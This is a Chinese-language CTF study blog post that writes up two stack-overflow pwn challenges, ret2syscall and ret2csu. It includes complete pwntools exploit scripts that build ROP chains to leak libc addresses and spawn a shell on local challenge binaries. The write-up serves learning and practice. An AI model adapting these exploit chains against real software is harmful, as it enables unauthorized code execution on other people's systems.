周报
简单分享一下这周做的部分题目
sysacll
0x1
拿到题还是先查看保护措施,然后运行一遍。

可以看到是64位小端序的程序,开启了NX堆栈不可执行和部分RELRO,继续使用IDA进行反编译分析。

通过分析,没有发现后门函数,而且可以看到main函数非常简单,除去初始化的init函数,就只调用了一个vuln函数,进一步来分析这个vuln函数。

可以看到首先清空了字符数组s,然后有两个read函数来读取我们的输入,第一个read向.bss段写入数据,第二个read则是向s中写入数据;最后又清空了off_404018,我已经标注了,这个地址是got表,got表被清空,意味着这道题无法使用libc的方法来解决;开启了NX堆栈不可执行且没有改变内存权限的函数,所以shellcode的方法也不起作用,所以这道题可以考虑syscall。(虽然题目已经说了这是syscall,这里还是分析一下)
这道题没有禁用execve这个系统调用,而且又两个read函数,因此我们可以尝试通过execve这个系统调用来取得shell权限,进而取得flag。那么思路就非常明确,第一个read我们传入/bin/sh\x00,然后第二个read用来溢出和构造ROP链。
那么payload1如下:
payload1 = b"/bin/sh\x00"
然后先用ROPgatget来查看一下gatgets。

操作rdi,rdx,rsi的gatgets都找到了,可是唯独没有控制rax的。但是要注意一点,read函是有int型的返回值的,而函数的返回值一般会存在rax中,我们可以通控制输入的字节数量来影响rax的值,进而达到目的。但是这也就限制了输入的长度,先来动态调试看一看。
通过动态调试,首先找到了需要填充0x28个垃圾数据才能到达返回值,并且又意外发现,函数的最后执行了sub rax 0x20

这就意味着我们一共有0x3B+0x20-0x28 = 0x33的字节来构造我们的ROP链,很显然这不够我们使用,我们来看一看寄存器的情况。

发现rdi和rdx已经是0了,那我们就只需要去控制rsi和rax的值就可以了。
那么payload2如下:
patyload2 = b'a'*0x28 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(syscall_addr) + b'a' *0x1b
于是完整的EXP如下:
点击查看代码
from pwn import *
if __name__ == '__main__':
context.log_level = 'debug'
context(log_level='debug', arch='amd64', os='linux')
p = process('./ret2syscall.ret2syscall')
payload1 = b"/bin/sh\x00"
gdb.attach(p)
padding = 0x28
payload = b'a' * padding
pop_rdi_ret_addr = 0x401363
syscall_addr = 0x4012e6
binsh_addr = 0x404090
payload2 = b'a' * padding
payload2 += p64(pop_rdi_ret_addr) + p64(binsh_addr)
payload2 += p64(syscall_addr)
payload2 += b'a' * 0x1b
p.sendafter("First,what can of thing do you think is essential?", payload1)
p.sendafter("What do you think of the importance of reading?", payload2)
p.interactive()
ret2csu
0x2
拿到题还是先查看保护措施,然后运行一遍。

保护和上一道题一样,没什么说的。我们继续使用IDA反编译。
可以看到没有后门函数,main函数非常简单,仅仅调用了一个dofunc函数,我们来分析这个函数。

函数非常简单,read函数存在溢出(填充0x8+0x8个字节即可)。这道题没有清空got表,故可以考虑使用libc中的system函数来取得shell。先来查看可用的gadgets。

发现没有可以用来控制rdx的,我们进一步查看init函数中的gadgets。

发现init函数中我们通过控制r12,r13,r14,来改变rdi,rsi和rdx的值。而且代码中还有call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
因此我们可以通过设置特定寄存器的值来执行write函数泄露并且泄露其真实地址。call指令结束之后,会对rbx+1然后比较rbp和rbx的值,如果不为零就会跳转,这肯定是我们不想要的,因此我们需要设计rbx和rbp的值。之后程序会继续向下执行,因此我们还需要7*0x8个垃圾数据来填充栈。然后返回到main函数,再次构造溢出来执行system函数取得shell权限。
在payload1中,主要的栈应当这样去布置。

因此payload1如下:
点击查看代码
payload1 = b'a' * 0x10 + p64(csu_addr1)
payload1 += p64(0) + p64(1)#rbx rbp
payload1 += p64(1) + p64(write_got_addr) + p64(6)# r12 r13 r14
payload1 += p64(write_got_addr)#15
payload1 += p64(csu_addr2)#ret
payload1 += p64(0) + p64(0) + p64(0) +p64(0) + p64(0) + p64(0) + p64(0)
payload1 += p64(dofunc_addr)
下面我我们来构造payload2。
payload2只需要将/bin/sh\x00的地址存入rdi然后调用system函数即可,但是system函数需要栈对齐,因此我们找一个空的ret地址就可以了。
那么payload2如下:
payload2 = b'a' * 0x10 + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
因此,完整的EXP如下:
点击查看代码
from pwn import *
if __name__ == '__main__':
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
write_got_addr = elf.got['write']
pop_rdi_ret_addr = 0x04011fb
csu_addr1 = 0x4011F2
csu_addr2 = 0x4011D8
dofunc_addr = 0x401132
gdb.attach(io)
payload1 = b'a' * 0x10 + p64(csu_addr1)
payload1 += p64(0) + p64(1)#rbx rbp
payload1 += p64(1) + p64(write_got_addr) + p64(6)# r12 r13 r14
payload1 += p64(write_got_addr)#15
payload1 += p64(csu_addr2)#ret
payload1 += p64(0) + p64(0) + p64(0) +p64(0) + p64(0) + p64(0) + p64(0)
payload1 += p64(dofunc_addr)
io.sendafter("input:" , payload1)
print(io.recv(3))
write_real_addr = u64(io.recv(6).ljust(8, b'\x00'))
print('write_real_addr: ' , hex(write_real_addr))
libc_base = write_real_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
ret_addr = 0x0401016
print('libc_base: ' , hex(libc_base))
print('system_addr: ' , hex(system_addr))
print('binsh_addr: ' , hex(binsh_addr))
payload2 = b'a' * 0x10 + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
io.sendafter("input:" , payload2)
io.interactive()
2024-11-17 11:05:10 星期日
浙公网安备 33010602011771号